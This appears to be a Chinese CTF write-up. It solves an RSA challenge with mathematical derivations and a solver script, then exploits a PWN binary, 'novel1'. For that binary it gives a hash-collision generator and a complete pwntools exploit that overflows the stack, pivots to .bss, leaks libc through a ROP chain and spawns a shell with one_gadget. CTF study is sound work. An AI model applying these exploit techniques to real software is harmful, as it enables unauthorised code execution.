Crypto

rasnd(复现)

这题当时没有写出来，但是之后复现了一下极客大挑战的一题密码题之后就会写了，这题与其他题目相比简直就是一个送分题目。可惜当时没有复现出来。现在复现一下
由于这题的密文等都是要与靶机交互，由靶机给我们的，所以我就自己设置了个flag，来解密。
题目如下：

from Crypto.Util.number import getPrime, bytes_to_long
from random import randint
import os
import uuid
FLAG = b'flag{' + str(uuid.uuid4()).encode() + b'}'
flag1 = FLAG[:15]
flag2 = FLAG[15:]

def crypto1():
    p = getPrime(1024)
    q = getPrime(1024)
    n = p * q
    e = 0x10001
    x1=randint(0,2**11)
    y1=randint(0,2**114)
    x2=randint(0,2**11)
    y2=randint(0,2**514)
    hint1=x1*p+y1*q-0x114
    hint2=x2*p+y2*q-0x514
    c = pow(bytes_to_long(flag1), e, n)
    print("n1=",n)
    print("c1=",c)
    print("hint1=",hint1)
    print("hint2=",hint2)


def crypto2():
    p = getPrime(1024)
    q = getPrime(1024)
    n = p * q
    e = 0x10001
    hint = pow(514*p - 114*q, n - p - q, n)
    c = pow(bytes_to_long(flag2),e,n)
    print("n2=",n)
    print("c2=",c)
    print("hint=",hint)
print("==================================================================")
crypto1()
print("==================================================================")
crypto2()
print("==================================================================")
==================================================================
n1= 18331970861565415891260063981024177723204453706182835544025340957208676556383560640774692546030206116291960010897814681227424399269238051628609483460778956355219034502124029932730800841466587488744931365552090644510865516722066340504286821620791981913835304594399662384154308953009427456429275857524385338676014314611728057663352636578462817696034307558447355360804005874260850787916102882772446542158849123176243242613195908324853684837954711351575992802157405117277260826551448356990795792002633103836664003619780409430648079832538062874186719070716006417748249199693760392355362791015239384988286524628491919460183
c1= 9354728106004556275871265877661464638018798933513933176103979785120449151874292202941954647481388228730416070784168514227120184694675696668631501961690019048651584290004677918537887023182668017984534674401697534722001687285243984938575575995891241527956592840436224846162475163971758107348673212505071733460258575912418603031077460564017910978601068196891378553969041756841582018488313456917778455047276233021997934679601784959545821359192613962331033460962852370525215336657838592074852725780451766675009747751521389401197818865881265593848887195570978936631705514629576662932708590674743096093336953025064385833795
hint1= 470743503915500568971441225224384638152281405838691076917406984266136587146540329163099822533209944833967651606790227131248780730048595488078493038367272884798995931433858999127345464695591145011128995886199997118165697667636003612246036394037761653577774957849197344954684739735875695191318586767891297159656148186530688144252652269978275230
hint2= 19556641075392986245812329756640845456802707075170909144823350149666341893500553491924739956628082530540425185408034737574761229075451772920134628323874206524105638002890883315159574660545781391668011497483569286346058734735712373078308108935084480623687171382477169128232148261316311835113044922530384325344417141818821950087835858038371616355396152770805935995220277825906607041278183000350805961634007639259575267804205828962900832342523563076418998614307227
==================================================================
n2= 28112004636510127976858237912696081975015557958374271845160570519313714600900355806987112546905535719137114286503791096933454331903470905682098447886394392180233205113723696586814347354476684506242349716947707896803695023509933733885117179596742049449312030976714742965805907558279893537324520180100365855512370403356223182631941895548032138109451769460588095214992925587791666521840029204234053429627645153888247343430884031832206986406536889479685229152238044216406672883597270425564568210114403550643308550533410702471976923621717141082988924934569407195445689853580454303476256364198769415984692571062047748543933
c2= 4882414006500846539932894104774644706284132804362940866713162914458692381603617162235865014625240345934641914946783145312936732526037659632642147602849521047587324885571840063394849170698354210292227511352228537206538794653744024758197594207622539621918029145367036759141455921471946036709885306929902368701070747413641074216948550109840184932827768747344487646006095085654639217742777925917890425537915039001028514939149473763853472135829155234139813768144783494493141930219798272553966611860805652213134708737186233472622625209555061393596815614038100213620067407162932010706400469872686868031285609159567607482590
hint= 11203784396184298227997406267233498121128845677648343775805771110531210269150304450030701770134046027158853866440830210013774195919727067085041195670903871403808921301036072394599711262450972456157720162245288170529139400646056517403774844592835173955950476660700764322943423931787365098396111517996487628373202687203387058489749761821729149583262047068825876415434885661369943498585973937735407621655949912730425562387068641160539100579596934613612198074866469070748185359970682615516000074550321076099578380966984016293712951283376655232211109014946822770451106676793434690202818245639002555214490723994582681045943
==================================================================

这题的加密过程就是将flag分成两部分来加密，这两部分都是使用RSA进行加密，但是泄露的值是不一样的，所以一些做法是不一样的。

crypto1

先来解决crypto1的部分。
crypto1的部分泄露的值是

$\begin{array}{l} hint1=x_1*p+y_1*q-276\\ hint2=x_2*p+y_2*q-1,300 \end{array}$

所以我们要根据这两个hint求出p和q的其中一个然后分解n进行后续的RSA解密。
可以注意到两个x和两个y的生成方式
- 其中y1和y2在比较大的范围内产生随机数，如果对y1和y2进行爆破就会有时间问题，而爆破不出来
- 而x1和x2在随机数比较小的范围内取值，所以我们对x1和x2进行爆破，从而得到一些信息

x1=randint(0,2**11)
y1=randint(0,2**114)
x2=randint(0,2**11)
y2=randint(0,2**514)

如果我们将x1和x2爆破出来后，通过如下推导就可以得到q的倍数

$\begin{array}{l} hint1=x_1*p+y_1*q-276\\ hint2=x_2*p+y_2*q-1300\\ 从这两个式子可以得到\\ hint1+276=x_1*p+y_1*q——①\\ hint2+1300=x_2*p+y_2*q——②\\ 由于x_1和x_2可以爆破出来\\ 所以有如下推导\\ 由x_2*①式和x_1*②式可以得到\\ x_2*hint1+276*x_2=x_1*x_2*p+y_1*x_2*q——③\\ x_1*hint2+1300*x_1=x_1*x_2*p+y_2*x_1*q——④\\ ③式-④式就可以得到\\ x_2*hint1+276*x_2-(x_1*hint2+1300*x_1)=(y_1*x_2-y_2*x_1)q\\ 这样就可以得到q倍数\\ 这样q=gcd(n,x_2*hint1+276*x_2-(x_1*hint2+1300*x_1)) \end{array}$

这样q求出来后就是常规的RSA解密了

crypto2

第二个加密部分仍然是RSA加密，但是提示给的不是随机数了。所以要根据提示进行推导
第二部分加密给的提示如下

$\begin{array}{l} hint \equiv (514*p-114*q)^{n-p-q}~mod(~n) \end{array}$

接下来对该式的变形推导如下，推导的时候应用了如下定理

定理

定理1：欧拉定理 $$ \begin{array}{l} 若n,a为正整数，且n，a互素即(gcd(a,n)=1)，则有\\ a^{\phi(n)}\equiv 1 ~mod(n) \end{array} $$

推导的过程如下：

$\begin{array}{l} 由已知可以得到\phi(n)的欧拉函数为\\ \phi(n)=(p-1)(q-1)=n-p-q+1 \\所以n-p-q=\phi(n)-1\\ 所以hint \equiv (514*p-114*q)^{n-p-q}~mod(~n) \\hint\equiv(514*p-114*q)^{\phi(n)-1}~mod(~n~) \\所以由欧拉定理可以得到\\ hint\equiv(514*p-114*q)^{-1}~mod(n)\\ 所以514*p-114*q=hint^{-1}~mod(n) \\显然514*p-114*q＜n,所以得到的结果即为\\514*p-114*q \\之后就是直接用sage解方程就行 \end{array}$

exp如下：

import libnum
import gmpy2
from Crypto.Util.number import *
n1= 18331970861565415891260063981024177723204453706182835544025340957208676556383560640774692546030206116291960010897814681227424399269238051628609483460778956355219034502124029932730800841466587488744931365552090644510865516722066340504286821620791981913835304594399662384154308953009427456429275857524385338676014314611728057663352636578462817696034307558447355360804005874260850787916102882772446542158849123176243242613195908324853684837954711351575992802157405117277260826551448356990795792002633103836664003619780409430648079832538062874186719070716006417748249199693760392355362791015239384988286524628491919460183
c1= 9354728106004556275871265877661464638018798933513933176103979785120449151874292202941954647481388228730416070784168514227120184694675696668631501961690019048651584290004677918537887023182668017984534674401697534722001687285243984938575575995891241527956592840436224846162475163971758107348673212505071733460258575912418603031077460564017910978601068196891378553969041756841582018488313456917778455047276233021997934679601784959545821359192613962331033460962852370525215336657838592074852725780451766675009747751521389401197818865881265593848887195570978936631705514629576662932708590674743096093336953025064385833795
hint1= 470743503915500568971441225224384638152281405838691076917406984266136587146540329163099822533209944833967651606790227131248780730048595488078493038367272884798995931433858999127345464695591145011128995886199997118165697667636003612246036394037761653577774957849197344954684739735875695191318586767891297159656148186530688144252652269978275230
hint2= 19556641075392986245812329756640845456802707075170909144823350149666341893500553491924739956628082530540425185408034737574761229075451772920134628323874206524105638002890883315159574660545781391668011497483569286346058734735712373078308108935084480623687171382477169128232148261316311835113044922530384325344417141818821950087835858038371616355396152770805935995220277825906607041278183000350805961634007639259575267804205828962900832342523563076418998614307227
n2= 28112004636510127976858237912696081975015557958374271845160570519313714600900355806987112546905535719137114286503791096933454331903470905682098447886394392180233205113723696586814347354476684506242349716947707896803695023509933733885117179596742049449312030976714742965805907558279893537324520180100365855512370403356223182631941895548032138109451769460588095214992925587791666521840029204234053429627645153888247343430884031832206986406536889479685229152238044216406672883597270425564568210114403550643308550533410702471976923621717141082988924934569407195445689853580454303476256364198769415984692571062047748543933
c2= 4882414006500846539932894104774644706284132804362940866713162914458692381603617162235865014625240345934641914946783145312936732526037659632642147602849521047587324885571840063394849170698354210292227511352228537206538794653744024758197594207622539621918029145367036759141455921471946036709885306929902368701070747413641074216948550109840184932827768747344487646006095085654639217742777925917890425537915039001028514939149473763853472135829155234139813768144783494493141930219798272553966611860805652213134708737186233472622625209555061393596815614038100213620067407162932010706400469872686868031285609159567607482590
hint= 11203784396184298227997406267233498121128845677648343775805771110531210269150304450030701770134046027158853866440830210013774195919727067085041195670903871403808921301036072394599711262450972456157720162245288170529139400646056517403774844592835173955950476660700764322943423931787365098396111517996487628373202687203387058489749761821729149583262047068825876415434885661369943498585973937735407621655949912730425562387068641160539100579596934613612198074866469070748185359970682615516000074550321076099578380966984016293712951283376655232211109014946822770451106676793434690202818245639002555214490723994582681045943
e = 0x10001

for i in range(1,2**11):
    for j in range(1,2**11):
        p = gmpy2.gcd(n1, (hint1 + 0x114) * j - (hint2 + 0x514) * i)
        if p != 1:
            q = n1//p
            phi_n1 = (p-1)*(q-1)
            d1 = gmpy2.invert(e,phi_n1)
            m1 = pow(c1,d1,n1)
            print(libnum.n2s(int(m1)))
            break
    if p!=1:
        break
hint_1 = gmpy2.invert(hint,n2)
a = hint_1%n2
print(a)
p = 172119058790648353694404096745881973426681864121016214738067325925512545401674708554447019258217627022922793331085546291873585494192028751565603958290047665773120003611673975696993905001377608249826489416143598981995186250483959468720148701762543714574488460183001955541822659449611827864882700015464563678221
q = 163328830833912981136540461335699371730401512480992066860405200339173991192812136169547612358939443481710467867631103425874830949641387790044917761879302673281818001255911574084198931490653345343395038343135676941151858870819182892754481241235621374449724128821337357712342018950712735012035245732219513717873
phi_n2 = (p-1)*(q-1)
d = gmpy2.invert(e,phi_n2)
m2 = pow(c2,d,n2)
print(libnum.n2s(int(m2)))

b'flag{536c423c-8'
69849709503327173949358093135113605964048705735369238753280412687047613340480216673657340089804763732867322435268025003473292215755584570239599809706843995453256429713226504062656188980773609271263781188780342705454213821475368317148145571205086632604018517848430546369289856796719227731177689794475761166768072
b'b5d-4eb4-9cee-f2aeaeb222ad}'
# flag{536c423c-8b5d-4eb4-9cee-f2aeaeb222ad}

PWN

anote

novel1(复现)

这题从10号的凌晨2点到凌晨6点，下午4点到晚上10点多才复现完，太牢了QAQ
这题是一到hash碰撞的题目，先在做这题之前先要来介绍一下C++STL中std::unordered_map的底层原理。
这个std::unordered_map有点类似Python中的字典，都是存在键值对即<key,value>，一个key对应着一个value，接下来来说明一下std::unordered_map的底层原理。利用hash碰撞，就可以构造出栈溢出，从而可以构造ROP链泄露libc的地址，然后再getshell
在这题中，对于使用gadget自己构造rop链比较难构造，但是使用one_gadget打是比较简单的。

附件分析

拿到附件后先检查一下，保护机制。发现没有开启Canary保护，也没有开起PIE保护机制。

之后将该附件拖入IDA进行逆向分析，同时运行一下程序，查看程序的运行逻辑。首先查看main函数。main函数这边实现的是菜单的功能。

之后查看prologue()这个函数
- 这个函数中定义了一个unsigned int,unsigned long的键值对，这个哈希桶数组为bloodstains，然后调用了clear方法，将该哈希桶数组中的元素清空。
- 之后让我们输入这个作者的名字，这里没有栈溢出点

之后查看chapter()函数：该函数提示我们选择章节1和章节2，并读取我们输入的数字，并检查我们输入的数字是否为1和2

之后我们看到part1这边，这边会对让我们输入Blood和Evidence，并将其存储到bloodstains这个unordered中。这边还有一下几个检查
- 检查bloodstains中的长度（即数组元素）是否有超过0x1F即（31）
- 检查之后输入的键和值，是否有和之前输入的键和值一样，如果一样则会退出程序
- 键和值不一样后就可以插入键值对到bloodstains中。

这里再来查看part2这边的具体操作，这里会发现变量v3在copy的时候会发生溢出。
- 该程序会让我们输入一个Blood，查找该与该桶索引相同的键值对，如果没有对应的键值对，则程序会退出
- 如果查找到了对应的键值对,则会将对应的所有键值对都复制到v3这个里面，v3在栈上。所以这个过程会发生栈溢出。

在逆向分析附件的时候还发现了这样的一串gadget

构造hash

所以我们要发生溢出，就必须构造特殊的hash值，构造的这个hash值必须满足如下条件：
- 对于一开始分配的桶数，键的hash值模上对应的桶数结果应该相同。
- 而之后hash存储桶数变大，变大之后的键的hash值模上对应的桶数结果应该也要相同。
所以通过如下脚本可以生成30个具有如上条件的hash值的数。

// g++ collisions.cpp -o collisions

#include <climits>
#include <cstdint>
#include <cstdlib>
#include <iostream>
#include <unordered_map>

#define MAX_ATOMS    32
#define BUCKET_COUNT 59

typedef std::unordered_map<unsigned int, uint64_t> atoms_t;

unsigned int random_value() {
    return rand() % UINT_MAX;
}

int main() {
    srand(time(0));

    atoms_t atoms;
    atoms_t::hasher hash_fn = atoms.hash_function();

    unsigned int collisions[MAX_ATOMS - 1];
    size_t target = hash_fn(0x13371337);

    size_t found = 0;
    while (found < MAX_ATOMS - 1) {
        unsigned int value = random_value();
        size_t hash = hash_fn(value);

        if (target % 1 == hash % 1 &&
                target % 13 == hash % 13 &&
                target % 29 == hash % 29 &&
                target % 59 == hash % 59) {
            collisions[found++] = value;
        }
    }

    for (size_t i = 0; i < MAX_ATOMS - 1; i++) {
        std::cout << "0x" << std::hex << collisions[i]
                  << std::endl;
    }

    return 0;
}

动态调试

通过构造hash值，并输入到程序里面，我们就可以进行进一步的调试，从而找到溢出点，构造rop链。
编写如下脚本：

from pwn import *
context(log_level = 'debug')
p = process('./novel1')
gdb.attach(p,"b *0x402D44\n b *0x402CD0 \n b *0x402BF3")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
Blood = [
0x13371337,0x0856a093,0x6643822a,0x2242f096,
0x4afdaf79,0x6dca4a11,0x2216238a,0x387bfbc4,
0x320a7e50,0x54e2a30e,0x24f5f5f2,0x26768099,
0x3b52fb1e,0x4b42ec5d,0x7a425ba8,0x5ac5eaf9,
0x02e45def,0x39fc2f88,0x0053f705,0x5a653042,
0x6a274fcc,0x453a4ee8,0x202a01cc,0x1e6dbb15,
#0x6e14475f,0x76edc838,0x7bafe4a7,0x6e34859c
#0x74ebedba,0x3e3ba094,0x4273433b,0x2eec8fa3
]
pop_rax_rsp_r13_rbp = 0x4025BE
pop_rdi_rbp = 0x4025C0
fgets_got = 0x40A110
puts_plt = 0x402460
author_addr = 0x40A540
main_addr = 0x402D23
sys_offset = 0x50D70
fgets_offset = 0x7F380
sh_offset = 0x1D8678
ret = 0x40201a
leave = 0x402DEC
def add(Blood,Evidence):
    p.sendlineafter(b'Chapter:',b'1')
    p.sendlineafter(b'Blood:',str(Blood).encode('utf-8'))
    p.sendlineafter(b'Evidence:',str(Evidence).encode('utf-8'))

def check(Blood):
    p.sendlineafter(b'Chapter:',b'2')
    p.sendlineafter(b'Blood:',str(Blood).encode('utf-8'))

pause()
author = p64(0x4027A3)+b'a'*0x8+p64(pop_rdi_rbp)+p64(fgets_got)+b'a'*0x8+p64(puts_plt)
author += p64(pop_rax_rsp_r13_rbp) + b'a'*0x8+p64(0x40a540-0x10)
p.sendlineafter(b'Author:',author)
def fist():
    for i in range(0,22):
        if i == 12:
            add(Blood[i],author_addr)
            continue
        if i == 11:
            add(Blood[i],pop_rax_rsp_r13_rbp)
            continue
        add(Blood[i],0)
    #add(Blood[28],)
    check(0x13371337)
fist()
p.recvuntil(b'follows:')

然后我们从part2分析，在没有复制数据之前，栈上的数据是这样的。

当我们运行到断点0x402bf3时继续查看栈上的地址就会发现，在复制键值对到栈上的时候。这时我们再使用stack 48查看栈上的地址。我们就会发现，在复制的过程中发生了栈溢出，并且通过查看栈上的数据，键0x26768099所对应的值干好能覆盖为返回地址。

同时这里再溢出的时候还要注意一个地方，在溢出的时候，我们会溢出到变量i和v11的值，这时就要控制一下这两个变量的值，以免造成死循环。

这时我们就可以通过栈溢出，利用pop rsp这个gadget进行栈迁移，将栈迁移到bss段上的author，构造rop链，先泄露一下fgets的got表，从而得到libc的基地址，所以我们在输入author的时候就要先构造一次rop链

泄露这个地址后，还需要再次输入，继续rop链的再一次构造。这样才能getshell，所以我们使用puts输出fgets的地址后，就要返回到输入Author:值之前，由于我们把栈迁移到了author这个到我们就可以直接在authonr的可以继续布栈

在这里由于该.bss段距离不可写段太近，所以这里直接使用one_gadget去getshell，这里我们使用命令one_gadget libc.so.6，查找one_gadget

我们再通过查找发现，r12、r13的的寄存器，这样就满足了one_gadget的寄存器要求。

所以就能构造rop链，利用one_gadget去getshell

exp

exp如下：

from pwn import *
context(log_level = 'debug')
p = process('./novel1')
gdb.attach(p,"b *0x402D44\n b *0x402CD0 \n b *0x402BF3")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
Blood = [
0x13371337,0x0856a093,0x6643822a,0x2242f096,
0x4afdaf79,0x6dca4a11,0x2216238a,0x387bfbc4,
0x320a7e50,0x54e2a30e,0x24f5f5f2,0x26768099,
0x3b52fb1e,0x4b42ec5d,0x7a425ba8,0x5ac5eaf9,
0x02e45def,0x39fc2f88,0x0053f705,0x5a653042,
0x6a274fcc,0x453a4ee8,0x202a01cc,0x1e6dbb15,
#0x6e14475f,0x76edc838,0x7bafe4a7,0x6e34859c
#0x74ebedba,0x3e3ba094,0x4273433b,0x2eec8fa3
]
pop_rax_rsp_r13_rbp = 0x4025BE
pop_rdi_rbp = 0x4025C0
fgets_got = 0x40A110
puts_plt = 0x402460
author_addr = 0x40A540
main_addr = 0x402D23
sys_offset = 0x50D70
fgets_offset = 0x7F380
sh_offset = 0x1D8678
ret = 0x40201a
leave = 0x402DEC
def add(Blood,Evidence):
    p.sendlineafter(b'Chapter:',b'1')
    p.sendlineafter(b'Blood:',str(Blood).encode('utf-8'))
    p.sendlineafter(b'Evidence:',str(Evidence).encode('utf-8'))

def check(Blood):
    p.sendlineafter(b'Chapter:',b'2')
    p.sendlineafter(b'Blood:',str(Blood).encode('utf-8'))

pause()
author = p64(0x4027A3)+b'a'*0x8+p64(pop_rdi_rbp)+p64(fgets_got)+b'a'*0x8+p64(puts_plt)
author += p64(pop_rax_rsp_r13_rbp) + b'a'*0x8+p64(0x40a540-0x10)
p.sendlineafter(b'Author:',author)
def fist():
    for i in range(0,22):
        if i == 12:
            add(Blood[i],author_addr)
            continue
        if i == 11:
            add(Blood[i],pop_rax_rsp_r13_rbp)
            continue
        add(Blood[i],0)
    #add(Blood[28],)
    check(0x13371337)
fist()
p.recvuntil(b'follows:')
p.recvline()
a = p.recvline()[:-1]
print(a)
fgets_addr = int.from_bytes(a,'little')
print(hex(fgets_addr))
libc_addr = fgets_addr - fgets_offset
sys_addr = libc_addr + sys_offset
sh_addr = libc_addr + sh_offset
one_gadget = libc_addr + 0xebce2
pop_rbx_r12_r13_r14_rbp_ret = 0x404948
author = p64(ret)+p64(ret)+p64(pop_rbx_r12_r13_r14_rbp_ret)+p64(0)*4+p64(0x40a800)
author += p64(one_gadget)
p.sendlineafter(b'Author:',author)
#fist()
p.interactive()